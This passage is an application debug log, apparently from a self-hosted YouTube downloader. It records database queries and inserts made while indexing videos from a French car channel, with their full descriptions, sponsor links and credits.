NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#FERRARI #F430 #SINGE", "duration" => 2273, "filename" => "/downloads/Sylvain Lyve/2026-04-09 Ferrari F430 : La crise de la quarantaine/Ferrari F430 : La crise de la quarantaine [-VxgEzpF-v4].mkv", "id" => "-VxgEzpF-v4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=-VxgEzpF-v4", "playlist_index" => 2, "timestamp" => 1775751300, "title" => "Ferrari F430 : La crise de la quarantaine", "upload_date" => "20260409"} 07:39:40.764 [debug] QUERY OK source="sources" db=0.9ms queue=0.3ms idle=562.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 07:39:40.766 [debug] QUERY OK source="sources" db=0.6ms queue=0.4ms idle=520.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:40.768 [debug] QUERY OK source="media_items" db=1.6ms idle=522.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-09 16:15:00Z], 2] 07:39:40.807 [debug] QUERY OK source="media_items" db=37.0ms idle=525.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à Saily d’avoir sponsorisé la vidéo ! Téléchargez l'application ici 👉 https://saily.com/sylvain et obtenez 15% de réduction sur votre eSIM en utilisant le code SYLVAIN\n\nCollaboration commerciale\n\n-----------------------------------------------\n\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nMerci à Sport Design Automobiles pour le prêt de cette exceptionnelle F430\nLe site ici 👉 http://sport-design-automobile.fr/\n\n---------------------------------\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nAcheteur potentiel : Joseph Shuman\nMontage sponso : Romain Desveaux\nMontage : Lucas Aubert et Thibault Iacolare\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#FERRARI #F430 #SINGE", "Ferrari F430 : La crise de la quarantaine", "16601ee0-8d59-44cc-89a5-3d61d241b95d", "-VxgEzpF-v4", 2273, false, "https://www.youtube.com/watch?v=-VxgEzpF-v4", 2, "/downloads/Sylvain Lyve/2026-04-09 Ferrari F430 : La crise de la quarantaine/Ferrari F430 : La crise de la quarantaine [-VxgEzpF-v4].mkv", false, false, false, 2, [], 98, ~U[2026-04-09 16:15:00Z], ~U[2026-04-20 05:39:40Z], ~U[2026-04-20 05:39:40Z], "Merci à Saily d’avoir sponsorisé la vidéo ! Téléchargez l'application ici 👉 https://saily.com/sylvain et obtenez 15% de réduction sur votre eSIM en utilisant le code SYLVAIN\n\nCollaboration commerciale\n\n-----------------------------------------------\n\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nMerci à Sport Design Automobiles pour le prêt de cette exceptionnelle F430\nLe site ici 👉 http://sport-design-automobile.fr/\n\n---------------------------------\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nAcheteur potentiel : Joseph Shuman\nMontage sponso : Romain Desveaux\nMontage : Lucas Aubert et Thibault Iacolare\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#FERRARI #F430 #SINGE", "Ferrari F430 : La crise de la quarantaine", "-VxgEzpF-v4", 2273, false, "https://www.youtube.com/watch?v=-VxgEzpF-v4", "/downloads/Sylvain Lyve/2026-04-09 Ferrari F430 : La crise de la quarantaine/Ferrari F430 : La crise de la quarantaine [-VxgEzpF-v4].mkv", false, 2, ~U[2026-04-09 16:15:00Z]] 07:39:40.810 [debug] QUERY OK source="sources" db=1.3ms queue=0.3ms idle=564.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:40.812 [debug] QUERY OK source="media_profiles" db=1.3ms queue=0.1ms idle=46.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:39:40.814 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=47.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [27331] 07:39:40.815 [debug] Current batch of media processed. Will check again in 1000ms 07:39:41.819 [debug] Current batch of media processed. Will check again in 1000ms 07:39:42.777 [info] {"source":"oban","duration":2254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:42.820 [debug] Current batch of media processed. Will check again in 1000ms 07:39:43.821 [debug] Current batch of media processed. Will check again in 1000ms 07:39:44.824 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Merci à Rhinoshield pour leur soutien, -15% avec le code SYLVAIN 👉 https://url.rhinoshield.fr/Sylvain-Easter\n\n-----------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Hugo Cuocolo et Thibault Iacolare\nMontage sponso : Romain Desveaux\nEcriture : Adeline Boulard\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#ELECTRIQUE #ARTHURMORGAN #PROBLEME", "duration" => 3740, "filename" => "/downloads/Sylvain Lyve/2026-04-02 LE PROBLÈME DE LA VOITURE ÉLECTRIQUE/LE PROBLÈME DE LA VOITURE ÉLECTRIQUE [Ao_t3r-wGSA].mkv", "id" => "Ao_t3r-wGSA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Ao_t3r-wGSA", "playlist_index" => 3, "timestamp" => 1775146500, "title" => "LE PROBLÈME DE LA VOITURE ÉLECTRIQUE", "upload_date" => "20260402"} 07:39:44.827 [debug] QUERY OK source="sources" db=2.9ms idle=1460.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 07:39:44.829 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=614.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:44.835 [debug] QUERY OK source="media_items" db=5.4ms queue=0.4ms idle=585.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-02 16:15:00Z], 2] 07:39:44.840 [debug] QUERY OK source="media_items" db=4.1ms idle=591.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à Rhinoshield pour leur soutien, -15% avec le code SYLVAIN 👉 https://url.rhinoshield.fr/Sylvain-Easter\n\n-----------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Hugo Cuocolo et Thibault Iacolare\nMontage sponso : Romain Desveaux\nEcriture : Adeline Boulard\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#ELECTRIQUE #ARTHURMORGAN #PROBLEME", "LE PROBLÈME DE LA VOITURE ÉLECTRIQUE", "4094215b-440f-4898-b2c0-58dd2133d450", "Ao_t3r-wGSA", 3740, false, "https://www.youtube.com/watch?v=Ao_t3r-wGSA", 3, "/downloads/Sylvain Lyve/2026-04-02 LE PROBLÈME DE LA VOITURE ÉLECTRIQUE/LE PROBLÈME DE LA VOITURE ÉLECTRIQUE [Ao_t3r-wGSA].mkv", false, false, false, 2, [], 98, ~U[2026-04-02 16:15:00Z], ~U[2026-04-20 05:39:44Z], ~U[2026-04-20 05:39:44Z], "Merci à Rhinoshield pour leur soutien, -15% avec le code SYLVAIN 👉 https://url.rhinoshield.fr/Sylvain-Easter\n\n-----------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Hugo Cuocolo et Thibault Iacolare\nMontage sponso : Romain Desveaux\nEcriture : Adeline Boulard\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#ELECTRIQUE #ARTHURMORGAN #PROBLEME", "LE PROBLÈME DE LA VOITURE ÉLECTRIQUE", "Ao_t3r-wGSA", 3740, false, "https://www.youtube.com/watch?v=Ao_t3r-wGSA", "/downloads/Sylvain Lyve/2026-04-02 LE PROBLÈME DE LA VOITURE ÉLECTRIQUE/LE PROBLÈME DE LA VOITURE ÉLECTRIQUE [Ao_t3r-wGSA].mkv", false, 2, ~U[2026-04-02 16:15:00Z]] 07:39:44.842 [debug] QUERY OK source="sources" db=1.0ms idle=596.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:44.844 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.6ms idle=15.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:39:44.846 [debug] QUERY OK source="media_items" db=1.1ms idle=15.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [26533] 07:39:44.846 [debug] Current batch of media processed. Will check again in 1000ms 07:39:45.848 [debug] Current batch of media processed. Will check again in 1000ms 07:39:46.851 [debug] Current batch of media processed. Will check again in 1000ms 07:39:47.852 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Améliorez votre navigation avec NordVPN : 4 mois offerts sur l'abonnement de 2 ans 👉 https://nordvpn.com/sylvainlyve\n\n---------------------------------\n\nMerci à LRS Formula, et en particulier à Paul, pour l'accès à ces véritables pneus de F1\nLe site 👉 https://www.lrs-formula.com/\nMerci aux circuits de l'ouest parisien pour leur accueil exceptionnel :\nLe site : https://www.circuitouestparisien.com/\nEt un grand merci à Arthur et Joseph pour leur scientifisme\n\nProduction : Anaelle Le Magorou\nImage : Lucas Martin\nSon : Alan Poirier\nDrone : Thibault Gabet\nMontage sponso : Romain Desveaux\nMontage : Lucas Aubert et Thibault Iacolare\nVignette : Quentin Legac\n\n---------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SCIENCE #ENFIN #F1", "duration" => 1936, "filename" => "/downloads/Sylvain Lyve/2026-03-26 Mettre des pneus de Formule 1 sur une voiture : ÇA FAIT QUOI ?/Mettre des pneus de Formule 1 sur une voiture : ÇA FAIT QUOI ? [gJbQuNFjzGE].mkv", "id" => "gJbQuNFjzGE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=gJbQuNFjzGE", "playlist_index" => 4, "timestamp" => 1774545305, "title" => "Mettre des pneus de Formule 1 sur une voiture : ÇA FAIT QUOI ?", "upload_date" => "20260326"} 07:39:47.853 [debug] QUERY OK source="sources" db=0.5ms idle=1601.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 07:39:47.855 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1603.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:47.857 [debug] QUERY OK source="media_items" db=1.6ms queue=0.1ms idle=1604.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-26 17:15:05Z], 2] 07:39:47.907 [debug] QUERY OK source="media_items" db=48.6ms idle=633.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Améliorez votre navigation avec NordVPN : 4 mois offerts sur l'abonnement de 2 ans 👉 https://nordvpn.com/sylvainlyve\n\n---------------------------------\n\nMerci à LRS Formula, et en particulier à Paul, pour l'accès à ces véritables pneus de F1\nLe site 👉 https://www.lrs-formula.com/\nMerci aux circuits de l'ouest parisien pour leur accueil exceptionnel :\nLe site : https://www.circuitouestparisien.com/\nEt un grand merci à Arthur et Joseph pour leur scientifisme\n\nProduction : Anaelle Le Magorou\nImage : Lucas Martin\nSon : Alan Poirier\nDrone : Thibault Gabet\nMontage sponso : Romain Desveaux\nMontage : Lucas Aubert et Thibault Iacolare\nVignette : Quentin Legac\n\n---------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SCIENCE #ENFIN #F1", "Mettre des pneus de Formule 1 sur une voiture : ÇA FAIT QUOI ?", "4d88f8f8-6235-4170-8b94-6e24ba24965e", "gJbQuNFjzGE", 1936, false, "https://www.youtube.com/watch?v=gJbQuNFjzGE", 4, "/downloads/Sylvain Lyve/2026-03-26 Mettre des pneus de Formule 1 sur une voiture : ÇA FAIT QUOI ?/Mettre des pneus de Formule 1 sur une voiture : ÇA FAIT QUOI ? [gJbQuNFjzGE].mkv", false, false, false, 2, [], 98, ~U[2026-03-26 17:15:05Z], ~U[2026-04-20 05:39:47Z], ~U[2026-04-20 05:39:47Z], "Améliorez votre navigation avec NordVPN : 4 mois offerts sur l'abonnement de 2 ans 👉 https://nordvpn.com/sylvainlyve\n\n---------------------------------\n\nMerci à LRS Formula, et en particulier à Paul, pour l'accès à ces véritables pneus de F1\nLe site 👉 https://www.lrs-formula.com/\nMerci aux circuits de l'ouest parisien pour leur accueil exceptionnel :\nLe site : https://www.circuitouestparisien.com/\nEt un grand merci à Arthur et Joseph pour leur scientifisme\n\nProduction : Anaelle Le Magorou\nImage : Lucas Martin\nSon : Alan Poirier\nDrone : Thibault Gabet\nMontage sponso : Romain Desveaux\nMontage : Lucas Aubert et Thibault Iacolare\nVignette : Quentin Legac\n\n---------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SCIENCE #ENFIN #F1", "Mettre des pneus de Formule 1 sur une voiture : ÇA FAIT QUOI ?", "gJbQuNFjzGE", 1936, false, "https://www.youtube.com/watch?v=gJbQuNFjzGE", "/downloads/Sylvain Lyve/2026-03-26 Mettre des pneus de Formule 1 sur une voiture : ÇA FAIT QUOI ?/Mettre des pneus de Formule 1 sur une voiture : ÇA FAIT QUOI ? [gJbQuNFjzGE].mkv", false, 2, ~U[2026-03-26 17:15:05Z]] 07:39:47.908 [debug] QUERY OK source="sources" db=0.8ms idle=657.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:39:47.910 [debug] QUERY OK source="media_profiles" db=1.0ms queue=0.6ms idle=55.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:39:47.912 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=55.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [25733] 07:39:47.913 [debug] Current batch of media processed. Will check again in 1000ms 07:39:48.914 [debug] Current batch of media processed. Will check again in 1000ms 07:39:49.918 [debug] Current batch of media processed. Will check again in 1000ms 07:39:50.919 [debug] Current batch of media processed. Will check again in 1000ms 07:39:51.920 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\n---------------------------------\n\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nMerci à l'atelier des 1000 pour le prêt de cette superbe Audi RS2\nL'annonce ici 👉 https://atelierdes1000.fr/2025/04/05/audi-rs2/\n\n---------------------------------\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF 